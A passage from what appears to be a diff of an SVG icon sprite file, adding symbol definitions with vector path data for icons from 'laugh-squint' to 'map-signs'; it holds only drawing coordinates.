4.5l-9.5-17c-7.7-13.7-19.2-21.6-31.5-21.6s-23.8 7.9-31.5 21.6l-9.5 17c-4.2 7.4-15.8 4.1-15.1-4.5zm-160 0c3.3-42.1 32.2-71.4 56-71.4s52.7 29.3 56 71.4c.7 8.6-10.8 11.9-14.9 4.5l-9.5-17c-7.7-13.7-19.2-21.6-31.5-21.6s-23.8 7.9-31.5 21.6l-9.5 17c-4.3 7.4-15.8 4-15.1-4.5zM398.9 306C390 377 329.4 432 256 432h-16c-73.4 0-134-55-142.9-126-1.2-9.5 6.3-18 15.9-18h270c9.6 0 17.1 8.4 15.9 18z"></path> + </symbol> + <symbol id="laugh-squint" viewBox="0 0 496 512"> + <path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm33.8 161.7l80-48c11.6-6.9 24 7.7 15.4 18L343.6 180l33.6 40.3c8.7 10.4-3.9 24.8-15.4 18l-80-48c-7.7-4.7-7.7-15.9 0-20.6zm-163-30c-8.6-10.3 3.8-24.9 15.4-18l80 48c7.8 4.7 7.8 15.9 0 20.6l-80 48c-11.5 6.8-24-7.6-15.4-18l33.6-40.3-33.6-40.3zM398.9 306C390 377 329.4 432 256 432h-16c-73.4 0-134-55-142.9-126-1.2-9.5 6.3-18 15.9-18h270c9.6 0 17.1 8.4 15.9 18z"></path> + </symbol> + <symbol id="laugh-wink" viewBox="0 0 496 512"> + <path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm20.1 198.1c4-25.2 34.2-42.1 59.9-42.1s55.9 16.9 59.9 42.1c1.7 11.1-11.4 18.3-19.8 10.8l-9.5-8.5c-14.8-13.2-46.2-13.2-61 0L288 217c-8.4 7.4-21.6.3-19.9-10.9zM168 160c17.7 0 32 14.3 32 32s-14.3 32-32 32-32-14.3-32-32 14.3-32 32-32zm230.9 146C390 377 329.4 432 256 432h-16c-73.4 0-134-55-142.9-126-1.2-9.5 6.3-18 15.9-18h270c9.6 0 17.1 8.4 15.9 18z"></path> + </symbol> + <symbol id="layer-group" viewBox="0 0 512 512"> + <path d="M12.41 148.02l232.94 105.67c6.8 3.09 14.49 3.09 21.29 0l232.94-105.67c16.55-7.51 16.55-32.52 0-40.03L266.65 2.31a25.607 25.607 0 0 0-21.29 0L12.41 107.98c-16.55 7.51-16.55 32.53 0 40.04zm487.18 88.28l-58.09-26.33-161.64 73.27c-7.56 3.43-15.59 5.17-23.86 5.17s-16.29-1.74-23.86-5.17L70.51 209.97l-58.1 26.33c-16.55 7.5-16.55 32.5 0 40l232.94 105.59c6.8 3.08 14.49 3.08 21.29 0L499.59 276.3c16.55-7.5 16.55-32.5 0-40zm0 127.8l-57.87-26.23-161.86 73.37c-7.56 3.43-15.59 5.17-23.86 5.17s-16.29-1.74-23.86-5.17L70.29 337.87 12.41 364.1c-16.55 7.5-16.55 32.5 0 40l232.94 105.59c6.8 3.08 14.49 3.08 21.29 0L499.59 404.1c16.55-7.5 16.55-32.5 0-40z"></path> + </symbol> + <symbol id="leaf" viewBox="0 0 576 512"> + <path d="M546.2 9.7c-5.6-12.5-21.6-13-28.3-1.2C486.9 62.4 431.4 96 368 96h-80C182 96 96 182 96 288c0 7 .8 13.7 1.5 20.5C161.3 262.8 253.4 224 384 224c8.8 0 16 7.2 16 16s-7.2 16-16 16C132.6 256 26 410.1 2.4 468c-6.6 16.3 1.2 34.9 17.5 41.6 16.4 6.8 35-1.1 41.8-17.3 1.5-3.6 20.9-47.9 71.9-90.6 32.4 43.9 94 85.8 174.9 77.2C465.5 467.5 576 326.7 576 154.3c0-50.2-10.8-102.2-29.8-144.6z"></path> + </symbol> + <symbol id="lemon" viewBox="0 0 512 512"> + <path d="M489.038 22.963C465.944-.13 434.648-5.93 413.947 6.129c-58.906 34.312-181.25-53.077-321.073 86.746S40.441 355.041 6.129 413.945c-12.059 20.702-6.26 51.999 16.833 75.093 23.095 23.095 54.392 28.891 75.095 16.832 58.901-34.31 181.246 53.079 321.068-86.743S471.56 156.96 505.871 98.056c12.059-20.702 6.261-51.999-16.833-75.093zM243.881 95.522c-58.189 14.547-133.808 90.155-148.358 148.358-1.817 7.27-8.342 12.124-15.511 12.124-1.284 0-2.59-.156-3.893-.481-8.572-2.144-13.784-10.83-11.642-19.403C81.901 166.427 166.316 81.93 236.119 64.478c8.575-2.143 17.261 3.069 19.403 11.642s-3.069 17.259-11.641 19.402z"></path> + </symbol> + <symbol id="less-than" viewBox="0 0 384 512"> + <path d="M365.46 357.74L147.04 255.89l218.47-101.88c16.02-7.47 22.95-26.51 15.48-42.53l-13.52-29C360 66.46 340.96 59.53 324.94 67L18.48 209.91a32.014 32.014 0 0 0-18.48 29v34.24c0 12.44 7.21 23.75 18.48 29l306.31 142.83c16.06 7.49 35.15.54 42.64-15.52l13.56-29.08c7.49-16.06.54-35.15-15.53-42.64z"></path> + </symbol> + <symbol id="less-than-equal" viewBox="0 0 448 512"> + <path d="M54.98 214.2l301.41 119.87c18.39 6.03 38.71-2.54 45.38-19.15l12.09-30.08c6.68-16.61-2.82-34.97-21.21-41l-175.44-68.05 175.56-68.09c18.29-6 27.74-24.27 21.1-40.79l-12.03-29.92c-6.64-16.53-26.86-25.06-45.15-19.06L54.98 137.89C41.21 142.41 32 154.5 32 168.07v15.96c0 13.56 9.21 25.65 22.98 30.17zM424 400H24c-13.25 0-24 10.74-24 24v48c0 13.25 10.75 24 24 24h400c13.25 0 24-10.75 24-24v-48c0-13.26-10.75-24-24-24z"></path> + </symbol> + <symbol id="level-down-alt" viewBox="0 0 320 512"> + <path d="M313.553 392.331L209.587 504.334c-9.485 10.214-25.676 10.229-35.174 0L70.438 392.331C56.232 377.031 67.062 352 88.025 352H152V80H68.024a11.996 11.996 0 0 1-8.485-3.515l-56-56C-4.021 12.926 1.333 0 12.024 0H208c13.255 0 24 10.745 24 24v328h63.966c20.878 0 31.851 24.969 17.587 40.331z"></path> + </symbol> + <symbol id="level-up-alt" viewBox="0 0 320 512"> + <path d="M313.553 119.669L209.587 7.666c-9.485-10.214-25.676-10.229-35.174 0L70.438 119.669C56.232 134.969 67.062 160 88.025 160H152v272H68.024a11.996 11.996 0 0 0-8.485 3.515l-56 56C-4.021 499.074 1.333 512 12.024 512H208c13.255 0 24-10.745 24-24V160h63.966c20.878 0 31.851-24.969 17.587-40.331z"></path> + </symbol> + <symbol id="life-ring" viewBox="0 0 512 512"> + <path d="M256 8C119.033 8 8 119.033 8 256s111.033 248 248 248 248-111.033 248-248S392.967 8 256 8zm173.696 119.559l-63.399 63.399c-10.987-18.559-26.67-34.252-45.255-45.255l63.399-63.399a218.396 218.396 0 0 1 45.255 45.255zM256 352c-53.019 0-96-42.981-96-96s42.981-96 96-96 96 42.981 96 96-42.981 96-96 96zM127.559 82.304l63.399 63.399c-18.559 10.987-34.252 26.67-45.255 45.255l-63.399-63.399a218.372 218.372 0 0 1 45.255-45.255zM82.304 384.441l63.399-63.399c10.987 18.559 26.67 34.252 45.255 45.255l-63.399 63.399a218.396 218.396 0 0 1-45.255-45.255zm302.137 45.255l-63.399-63.399c18.559-10.987 34.252-26.67 45.255-45.255l63.399 63.399a218.403 218.403 0 0 1-45.255 45.255z"></path> + </symbol> + <symbol id="lightbulb" viewBox="0 0 352 512"> + <path d="M96.06 454.35c.01 6.29 1.87 12.45 5.36 17.69l17.09 25.69a31.99 31.99 0 0 0 26.64 14.28h61.71a31.99 31.99 0 0 0 26.64-14.28l17.09-25.69a31.989 31.989 0 0 0 5.36-17.69l.04-38.35H96.01l.05 38.35zM0 176c0 44.37 16.45 84.85 43.56 115.78 16.52 18.85 42.36 58.23 52.21 91.45.04.26.07.52.11.78h160.24c.04-.26.07-.51.11-.78 9.85-33.22 35.69-72.6 52.21-91.45C335.55 260.85 352 220.37 352 176 352 78.61 272.91-.3 175.45 0 73.44.31 0 82.97 0 176zm176-80c-44.11 0-80 35.89-80 80 0 8.84-7.16 16-16 16s-16-7.16-16-16c0-61.76 50.24-112 112-112 8.84 0 16 7.16 16 16s-7.16 16-16 16z"></path> + </symbol> + <symbol id="link" viewBox="0 0 512 512"> + <path d="M326.612 185.391c59.747 59.809 58.927 155.698.36 214.59-.11.12-.24.25-.36.37l-67.2 67.2c-59.27 59.27-155.699 59.262-214.96 0-59.27-59.26-59.27-155.7 0-214.96l37.106-37.106c9.84-9.84 26.786-3.3 27.294 10.606.648 17.722 3.826 35.527 9.69 52.721 1.986 5.822.567 12.262-3.783 16.612l-13.087 13.087c-28.026 28.026-28.905 73.66-1.155 101.96 28.024 28.579 74.086 28.749 102.325.51l67.2-67.19c28.191-28.191 28.073-73.757 0-101.83-3.701-3.694-7.429-6.564-10.341-8.569a16.037 16.037 0 0 1-6.947-12.606c-.396-10.567 3.348-21.456 11.698-29.806l21.054-21.055c5.521-5.521 14.182-6.199 20.584-1.731a152.482 152.482 0 0 1 20.522 17.197zM467.547 44.449c-59.261-59.262-155.69-59.27-214.96 0l-67.2 67.2c-.12.12-.25.25-.36.37-58.566 58.892-59.387 154.781.36 214.59a152.454 152.454 0 0 0 20.521 17.196c6.402 4.468 15.064 3.789 20.584-1.731l21.054-21.055c8.35-8.35 12.094-19.239 11.698-29.806a16.037 16.037 0 0 0-6.947-12.606c-2.912-2.005-6.64-4.875-10.341-8.569-28.073-28.073-28.191-73.639 0-101.83l67.2-67.19c28.239-28.239 74.3-28.069 102.325.51 27.75 28.3 26.872 73.934-1.155 101.96l-13.087 13.087c-4.35 4.35-5.769 10.79-3.783 16.612 5.864 17.194 9.042 34.999 9.69 52.721.509 13.906 17.454 20.446 27.294 10.606l37.106-37.106c59.271-59.259 59.271-155.699.001-214.959z"></path> + </symbol> + <symbol id="lira-sign" viewBox="0 0 384 512"> + <path d="M371.994 256h-48.019C317.64 256 312 260.912 312 267.246 312 368 230.179 416 144 416V256.781l134.603-29.912A12 12 0 0 0 288 215.155v-40.976c0-7.677-7.109-13.38-14.603-11.714L144 191.219V160.78l134.603-29.912A12 12 0 0 0 288 119.154V78.179c0-7.677-7.109-13.38-14.603-11.714L144 95.219V44c0-6.627-5.373-12-12-12H76c-6.627 0-12 5.373-12 12v68.997L9.397 125.131A12 12 0 0 0 0 136.845v40.976c0 7.677 7.109 13.38 14.603 11.714L64 178.558v30.439L9.397 221.131A12 12 0 0 0 0 232.845v40.976c0 7.677 7.109 13.38 14.603 11.714L64 274.558V468c0 6.627 5.373 12 12 12h79.583c134.091 0 223.255-77.834 228.408-211.592.261-6.782-5.211-12.408-11.997-12.408z"></path> + </symbol> + <symbol id="list" viewBox="0 0 512 512"> + <path d="M80 368H16a16 16 0 0 0-16 16v64a16 16 0 0 0 16 16h64a16 16 0 0 0 16-16v-64a16 16 0 0 0-16-16zm0-320H16A16 16 0 0 0 0 64v64a16 16 0 0 0 16 16h64a16 16 0 0 0 16-16V64a16 16 0 0 0-16-16zm0 160H16a16 16 0 0 0-16 16v64a16 16 0 0 0 16 16h64a16 16 0 0 0 16-16v-64a16 16 0 0 0-16-16zm416 176H176a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h320a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-320H176a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h320a16 16 0 0 0 16-16V80a16 16 0 0 0-16-16zm0 160H176a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h320a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16z"></path> + </symbol> + <symbol id="list-alt" viewBox="0 0 512 512"> + <path d="M464 480H48c-26.51 0-48-21.49-48-48V80c0-26.51 21.49-48 48-48h416c26.51 0 48 21.49 48 48v352c0 26.51-21.49 48-48 48zM128 120c-22.091 0-40 17.909-40 40s17.909 40 40 40 40-17.909 40-40-17.909-40-40-40zm0 96c-22.091 0-40 17.909-40 40s17.909 40 40 40 40-17.909 40-40-17.909-40-40-40zm0 96c-22.091 0-40 17.909-40 40s17.909 40 40 40 40-17.909 40-40-17.909-40-40-40zm288-136v-32c0-6.627-5.373-12-12-12H204c-6.627 0-12 5.373-12 12v32c0 6.627 5.373 12 12 12h200c6.627 0 12-5.373 12-12zm0 96v-32c0-6.627-5.373-12-12-12H204c-6.627 0-12 5.373-12 12v32c0 6.627 5.373 12 12 12h200c6.627 0 12-5.373 12-12zm0 96v-32c0-6.627-5.373-12-12-12H204c-6.627 0-12 5.373-12 12v32c0 6.627 5.373 12 12 12h200c6.627 0 12-5.373 12-12z"></path> + </symbol> + <symbol id="list-ol" viewBox="0 0 512 512"> + <path d="M61.77 401l17.5-20.15a19.92 19.92 0 0 0 5.07-14.19v-3.31C84.34 356 80.5 352 73 352H16a8 8 0 0 0-8 8v16a8 8 0 0 0 8 8h22.83a157.41 157.41 0 0 0-11 12.31l-5.61 7c-4 5.07-5.25 10.13-2.8 14.88l1.05 1.93c3 5.76 6.29 7.88 12.25 7.88h4.73c10.33 0 15.94 2.44 15.94 9.09 0 4.72-4.2 8.22-14.36 8.22a41.54 41.54 0 0 1-15.47-3.12c-6.49-3.88-11.74-3.5-15.6 3.12l-5.59 9.31c-3.72 6.13-3.19 11.72 2.63 15.94 7.71 4.69 20.38 9.44 37 9.44 34.16 0 48.5-22.75 48.5-44.12-.03-14.38-9.12-29.76-28.73-34.88zM496 224H176a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h320a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-160H176a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h320a16 16 0 0 0 16-16V80a16 16 0 0 0-16-16zm0 320H176a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h320a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zM16 160h64a8 8 0 0 0 8-8v-16a8 8 0 0 0-8-8H64V40a8 8 0 0 0-8-8H32a8 8 0 0 0-7.14 4.42l-8 16A8 8 0 0 0 24 64h8v64H16a8 8 0 0 0-8 8v16a8 8 0 0 0 8 8zm-3.91 160H80a8 8 0 0 0 8-8v-16a8 8 0 0 0-8-8H41.32c3.29-10.29 48.34-18.68 48.34-56.44 0-29.06-25-39.56-44.47-39.56-21.36 0-33.8 10-40.46 18.75-4.37 5.59-3 10.84 2.8 15.37l8.58 6.88c5.61 4.56 11 2.47 16.12-2.44a13.44 13.44 0 0 1 9.46-3.84c3.33 0 9.28 1.56 9.28 8.75C51 248.19 0 257.31 0 304.59v4C0 316 5.08 320 12.09 320z"></path> + </symbol> + <symbol id="list-ul" viewBox="0 0 512 512"> + <path d="M48 48a48 48 0 1 0 48 48 48 48 0 0 0-48-48zm0 160a48 48 0 1 0 48 48 48 48 0 0 0-48-48zm0 160a48 48 0 1 0 48 48 48 48 0 0 0-48-48zm448 16H176a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h320a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-320H176a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h320a16 16 0 0 0 16-16V80a16 16 0 0 0-16-16zm0 160H176a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h320a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16z"></path> + </symbol> + <symbol id="location-arrow" viewBox="0 0 512 512"> + <path d="M444.52 3.52L28.74 195.42c-47.97 22.39-31.98 92.75 19.19 92.75h175.91v175.91c0 51.17 70.36 67.17 92.75 19.19l191.9-415.78c15.99-38.39-25.59-79.97-63.97-63.97z"></path> + </symbol> + <symbol id="lock" viewBox="0 0 448 512"> + <path d="M400 224h-24v-72C376 68.2 307.8 0 224 0S72 68.2 72 152v72H48c-26.5 0-48 21.5-48 48v192c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V272c0-26.5-21.5-48-48-48zm-104 0H152v-72c0-39.7 32.3-72 72-72s72 32.3 72 72v72z"></path> + </symbol> + <symbol id="lock-open" viewBox="0 0 576 512"> + <path d="M423.5 0C339.5.3 272 69.5 272 153.5V224H48c-26.5 0-48 21.5-48 48v192c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V272c0-26.5-21.5-48-48-48h-48v-71.1c0-39.6 31.7-72.5 71.3-72.9 40-.4 72.7 32.1 72.7 72v80c0 13.3 10.7 24 24 24h32c13.3 0 24-10.7 24-24v-80C576 68 507.5-.3 423.5 0z"></path> + </symbol> + <symbol id="long-arrow-alt-down" viewBox="0 0 256 512"> + <path d="M168 345.941V44c0-6.627-5.373-12-12-12h-56c-6.627 0-12 5.373-12 12v301.941H41.941c-21.382 0-32.09 25.851-16.971 40.971l86.059 86.059c9.373 9.373 24.569 9.373 33.941 0l86.059-86.059c15.119-15.119 4.411-40.971-16.971-40.971H168z"></path> + </symbol> + <symbol id="long-arrow-alt-left" viewBox="0 0 448 512"> + <path d="M134.059 296H436c6.627 0 12-5.373 12-12v-56c0-6.627-5.373-12-12-12H134.059v-46.059c0-21.382-25.851-32.09-40.971-16.971L7.029 239.029c-9.373 9.373-9.373 24.569 0 33.941l86.059 86.059c15.119 15.119 40.971 4.411 40.971-16.971V296z"></path> + </symbol> + <symbol id="long-arrow-alt-right" viewBox="0 0 448 512"> + <path d="M313.941 216H12c-6.627 0-12 5.373-12 12v56c0 6.627 5.373 12 12 12h301.941v46.059c0 21.382 25.851 32.09 40.971 16.971l86.059-86.059c9.373-9.373 9.373-24.569 0-33.941l-86.059-86.059c-15.119-15.119-40.971-4.411-40.971 16.971V216z"></path> + </symbol> + <symbol id="long-arrow-alt-up" viewBox="0 0 256 512"> + <path d="M88 166.059V468c0 6.627 5.373 12 12 12h56c6.627 0 12-5.373 12-12V166.059h46.059c21.382 0 32.09-25.851 16.971-40.971l-86.059-86.059c-9.373-9.373-24.569-9.373-33.941 0l-86.059 86.059c-15.119 15.119-4.411 40.971 16.971 40.971H88z"></path> + </symbol> + <symbol id="low-vision" viewBox="0 0 576 512"> + <path d="M569.344 231.631C512.96 135.949 407.81 72 288 72c-28.468 0-56.102 3.619-82.451 10.409L152.778 10.24c-7.601-10.858-22.564-13.5-33.423-5.9l-13.114 9.178c-10.86 7.601-13.502 22.566-5.9 33.426l43.131 58.395C89.449 131.73 40.228 174.683 6.682 231.581c-.01.017-.023.033-.034.05-8.765 14.875-8.964 33.528 0 48.739 38.5 65.332 99.742 115.862 172.859 141.349L55.316 244.302A272.194 272.194 0 0 1 83.61 208.39l119.4 170.58h.01l40.63 58.04a330.055 330.055 0 0 0 78.94 1.17l-189.98-271.4a277.628 277.628 0 0 1 38.777-21.563l251.836 356.544c7.601 10.858 22.564 13.499 33.423 5.9l13.114-9.178c10.86-7.601 13.502-22.567 5.9-33.426l-43.12-58.377-.007-.009c57.161-27.978 104.835-72.04 136.81-126.301a47.938 47.938 0 0 0 .001-48.739zM390.026 345.94l-19.066-27.23c24.682-32.567 27.711-76.353 8.8-111.68v.03c0 23.65-19.17 42.82-42.82 42.82-23.828 0-42.82-19.349-42.82-42.82 0-23.65 19.17-42.82 42.82-42.82h.03c-24.75-13.249-53.522-15.643-79.51-7.68l-19.068-27.237C253.758 123.306 270.488 120 288 120c75.162 0 136 60.826 136 136 0 34.504-12.833 65.975-33.974 89.94z"></path> + </symbol> + <symbol id="luggage-cart" viewBox="0 0 640 512"> + <path d="M224 320h32V96h-32c-17.67 0-32 14.33-32 32v160c0 17.67 14.33 32 32 32zm352-32V128c0-17.67-14.33-32-32-32h-32v224h32c17.67 0 32-14.33 32-32zm48 96H128V16c0-8.84-7.16-16-16-16H16C7.16 0 0 7.16 0 16v32c0 8.84 7.16 16 16 16h48v368c0 8.84 7.16 16 16 16h82.94c-1.79 5.03-2.94 10.36-2.94 16 0 26.51 21.49 48 48 48s48-21.49 48-48c0-5.64-1.15-10.97-2.94-16h197.88c-1.79 5.03-2.94 10.36-2.94 16 0 26.51 21.49 48 48 48s48-21.49 48-48c0-5.64-1.15-10.97-2.94-16H624c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zM480 96V48c0-26.51-21.49-48-48-48h-96c-26.51 0-48 21.49-48 48v272h192V96zm-48 0h-96V48h96v48z"></path> + </symbol> + <symbol id="lungs" viewBox="0 0 640 512"> + <path d="M636.11 390.15C614.44 308.85 580.07 231 534.1 159.13 511.98 124.56 498.03 96 454.05 96 415.36 96 384 125.42 384 161.71v60.11l-32.88-21.92a15.996 15.996 0 0 1-7.12-13.31V16c0-8.84-7.16-16-16-16h-16c-8.84 0-16 7.16-16 16v170.59c0 5.35-2.67 10.34-7.12 13.31L256 221.82v-60.11C256 125.42 224.64 96 185.95 96c-43.98 0-57.93 28.56-80.05 63.13C59.93 231 25.56 308.85 3.89 390.15 1.3 399.84 0 409.79 0 419.78c0 61.23 62.48 105.44 125.24 88.62l59.5-15.95c42.18-11.3 71.26-47.47 71.26-88.62v-87.49l-85.84 57.23a7.992 7.992 0 0 1-11.09-2.22l-8.88-13.31a7.992 7.992 0 0 1 2.22-11.09L320 235.23l167.59 111.72a7.994 7.994 0 0 1 2.22 11.09l-8.88 13.31a7.994 7.994 0 0 1-11.09 2.22L384 316.34v87.49c0 41.15 29.08 77.31 71.26 88.62l59.5 15.95C577.52 525.22 640 481.01 640 419.78c0-9.99-1.3-19.94-3.89-29.63z"></path> + </symbol> + <symbol id="lungs-virus" viewBox="0 0 640 512"> + <path d="M344,150.68V16A16,16,0,0,0,328,0H312a16,16,0,0,0-16,16V150.68a46.45,46.45,0,0,1,48,0ZM195.54,444.46a48.06,48.06,0,0,1,0-67.88l8.58-8.58H192a48,48,0,0,1,0-96h12.12l-8.58-8.57a48,48,0,0,1,60.46-74V161.75C256,125.38,224.62,96,186,96c-44,0-58,28.5-80.12,63.13a819.52,819.52,0,0,0-102,231A113.16,113.16,0,0,0,0,419.75C0,481,62.5,525.26,125.25,508.38l59.5-15.87a98.51,98.51,0,0,0,52.5-34.75,46.49,46.49,0,0,1-41.71-13.3Zm226.29-22.63a16,16,0,0,0,0-22.62l-8.58-8.58C393.09,370.47,407.37,336,435.88,336H448a16,16,0,0,0,0-32H435.88c-28.51,0-42.79-34.47-22.63-54.62l8.58-8.58a16,16,0,0,0-22.63-22.63l-8.57,8.58C370.47,246.91,336,232.63,336,204.12V192a16,16,0,0,0-32,0v12.12c0,28.51-34.47,42.79-54.63,22.63l-8.57-8.58a16,16,0,0,0-22.63,22.63l8.58,8.58c20.16,20.15,5.88,54.62-22.63,54.62H192a16,16,0,0,0,0,32h12.12c28.51,0,42.79,34.47,22.63,54.63l-8.58,8.58a16,16,0,1,0,22.63,22.62l8.57-8.57C269.53,393.1,304,407.38,304,435.88V448a16,16,0,0,0,32,0V435.88c0-28.5,34.47-42.78,54.63-22.62l8.57,8.57a16,16,0,0,0,22.63,0ZM288,304a16,16,0,1,1,16-16A16,16,0,0,1,288,304Zm64,64a16,16,0,1,1,16-16A16,16,0,0,1,352,368Zm284.12,22.13a819.52,819.52,0,0,0-102-231C512,124.5,498,96,454,96c-38.62,0-70,29.38-70,65.75v27.72a48,48,0,0,1,60.46,74L435.88,272H448a48,48,0,0,1,0,96H435.88l8.58,8.58a47.7,47.7,0,0,1-41.71,81.18,98.51,98.51,0,0,0,52.5,34.75l59.5,15.87C577.5,525.26,640,481,640,419.75A113.16,113.16,0,0,0,636.12,390.13Z"></path> + </symbol> + <symbol id="magic" viewBox="0 0 512 512"> + <path d="M224 96l16-32 32-16-32-16-16-32-16 32-32 16 32 16 16 32zM80 160l26.66-53.33L160 80l-53.34-26.67L80 0 53.34 53.33 0 80l53.34 26.67L80 160zm352 128l-26.66 53.33L352 368l53.34 26.67L432 448l26.66-53.33L512 368l-53.34-26.67L432 288zm70.62-193.77L417.77 9.38C411.53 3.12 403.34 0 395.15 0c-8.19 0-16.38 3.12-22.63 9.38L9.38 372.52c-12.5 12.5-12.5 32.76 0 45.25l84.85 84.85c6.25 6.25 14.44 9.37 22.62 9.37 8.19 0 16.38-3.12 22.63-9.37l363.14-363.15c12.5-12.48 12.5-32.75 0-45.24zM359.45 203.46l-50.91-50.91 86.6-86.6 50.91 50.91-86.6 86.6z"></path> + </symbol> + <symbol id="magnet" viewBox="0 0 512 512"> + <path d="M164.07 148.1H12a12 12 0 0 1-12-12v-80a36 36 0 0 1 36-36h104a36 36 0 0 1 36 36v80a11.89 11.89 0 0 1-11.93 12zm347.93-12V56a36 36 0 0 0-36-36H372a36 36 0 0 0-36 36v80a12 12 0 0 0 12 12h152a11.89 11.89 0 0 0 12-11.9zm-164 44a12 12 0 0 0-12 12v52c0 128.1-160 127.9-160 0v-52a12 12 0 0 0-12-12H12.1a12 12 0 0 0-12 12.1c.1 21.4.6 40.3 0 53.3 0 150.6 136.17 246.6 256.75 246.6s255-96 255-246.7c-.6-12.8-.2-33 0-53.2a12 12 0 0 0-12-12.1z"></path> + </symbol> + <symbol id="mail-bulk" viewBox="0 0 576 512"> + <path d="M160 448c-25.6 0-51.2-22.4-64-32-64-44.8-83.2-60.8-96-70.4V480c0 17.67 14.33 32 32 32h256c17.67 0 32-14.33 32-32V345.6c-12.8 9.6-32 25.6-96 70.4-12.8 9.6-38.4 32-64 32zm128-192H32c-17.67 0-32 14.33-32 32v16c25.6 19.2 22.4 19.2 115.2 86.4 9.6 6.4 28.8 25.6 44.8 25.6s35.2-19.2 44.8-22.4c92.8-67.2 89.6-67.2 115.2-86.4V288c0-17.67-14.33-32-32-32zm256-96H224c-17.67 0-32 14.33-32 32v32h96c33.21 0 60.59 25.42 63.71 57.82l.29-.22V416h192c17.67 0 32-14.33 32-32V192c0-17.67-14.33-32-32-32zm-32 128h-64v-64h64v64zm-352-96c0-35.29 28.71-64 64-64h224V32c0-17.67-14.33-32-32-32H96C78.33 0 64 14.33 64 32v192h96v-32z"></path> + </symbol> + <symbol id="male" viewBox="0 0 192 512"> + <path d="M96 0c35.346 0 64 28.654 64 64s-28.654 64-64 64-64-28.654-64-64S60.654 0 96 0m48 144h-11.36c-22.711 10.443-49.59 10.894-73.28 0H48c-26.51 0-48 21.49-48 48v136c0 13.255 10.745 24 24 24h16v136c0 13.255 10.745 24 24 24h64c13.255 0 24-10.745 24-24V352h16c13.255 0 24-10.745 24-24V192c0-26.51-21.49-48-48-48z"></path> + </symbol> + <symbol id="map" viewBox="0 0 576 512"> + <path d="M0 117.66v346.32c0 11.32 11.43 19.06 21.94 14.86L160 416V32L20.12 87.95A32.006 32.006 0 0 0 0 117.66zM192 416l192 64V96L192 32v384zM554.06 33.16L416 96v384l139.88-55.95A31.996 31.996 0 0 0 576 394.34V48.02c0-11.32-11.43-19.06-21.94-14.86z"></path> + </symbol> + <symbol id="map-marked" viewBox="0 0 576 512"> + <path d="M288 0c-69.59 0-126 56.41-126 126 0 56.26 82.35 158.8 113.9 196.02 6.39 7.54 17.82 7.54 24.2 0C331.65 284.8 414 182.26 414 126 414 56.41 357.59 0 288 0zM20.12 215.95A32.006 32.006 0 0 0 0 245.66v250.32c0 11.32 11.43 19.06 21.94 14.86L160 448V214.92c-8.84-15.98-16.07-31.54-21.25-46.42L20.12 215.95zM288 359.67c-14.07 0-27.38-6.18-36.51-16.96-19.66-23.2-40.57-49.62-59.49-76.72v182l192 64V266c-18.92 27.09-39.82 53.52-59.49 76.72-9.13 10.77-22.44 16.95-36.51 16.95zm266.06-198.51L416 224v288l139.88-55.95A31.996 31.996 0 0 0 576 426.34V176.02c0-11.32-11.43-19.06-21.94-14.86z"></path> + </symbol> + <symbol id="map-marked-alt" viewBox="0 0 576 512"> + <path d="M288 0c-69.59 0-126 56.41-126 126 0 56.26 82.35 158.8 113.9 196.02 6.39 7.54 17.82 7.54 24.2 0C331.65 284.8 414 182.26 414 126 414 56.41 357.59 0 288 0zm0 168c-23.2 0-42-18.8-42-42s18.8-42 42-42 42 18.8 42 42-18.8 42-42 42zM20.12 215.95A32.006 32.006 0 0 0 0 245.66v250.32c0 11.32 11.43 19.06 21.94 14.86L160 448V214.92c-8.84-15.98-16.07-31.54-21.25-46.42L20.12 215.95zM288 359.67c-14.07 0-27.38-6.18-36.51-16.96-19.66-23.2-40.57-49.62-59.49-76.72v182l192 64V266c-18.92 27.09-39.82 53.52-59.49 76.72-9.13 10.77-22.44 16.95-36.51 16.95zm266.06-198.51L416 224v288l139.88-55.95A31.996 31.996 0 0 0 576 426.34V176.02c0-11.32-11.43-19.06-21.94-14.86z"></path> + </symbol> + <symbol id="map-marker" viewBox="0 0 384 512"> + <path d="M172.268 501.67C26.97 291.031 0 269.413 0 192 0 85.961 85.961 0 192 0s192 85.961 192 192c0 77.413-26.97 99.031-172.268 309.67-9.535 13.774-29.93 13.773-39.464 0z"></path> + </symbol> + <symbol id="map-marker-alt" viewBox="0 0 384 512"> + <path d="M172.268 501.67C26.97 291.031 0 269.413 0 192 0 85.961 85.961 0 192 0s192 85.961 192 192c0 77.413-26.97 99.031-172.268 309.67-9.535 13.774-29.93 13.773-39.464 0zM192 272c44.183 0 80-35.817 80-80s-35.817-80-80-80-80 35.817-80 80 35.817 80 80 80z"></path> + </symbol> + <symbol id="map-pin" viewBox="0 0 288 512"> + <path d="M112 316.94v156.69l22.02 33.02c4.75 7.12 15.22 7.12 19.97 0L176 473.63V316.94c-10.39 1.92-21.06 3.06-32 3.06s-21.61-1.14-32-3.06zM144 0C64.47 0 0 64.47 0 144s64.47 144 144 144 144-64.47 144-144S223.53 0 144 0zm0 76c-37.5 0-68 30.5-68 68 0 6.62-5.38 12-12 12s-12-5.38-12-12c0-50.73 41.28-92 92-92 6.62 0 12 5.38 12 12s-5.38 12-12 12z"></path> + </symbol> + <symbol id="map-signs" viewBox="0 0 512 512"> + <path d="M507.31 84.69L464 41.37c-6-6-14.14-9.37-22.63-9.37H288V16c0-8.84-7.16-16-16-16h-32c-8.84 0-16 7.16-16 16v16H56c-13.25 0-24 10.75-24 24v80c0 13.25 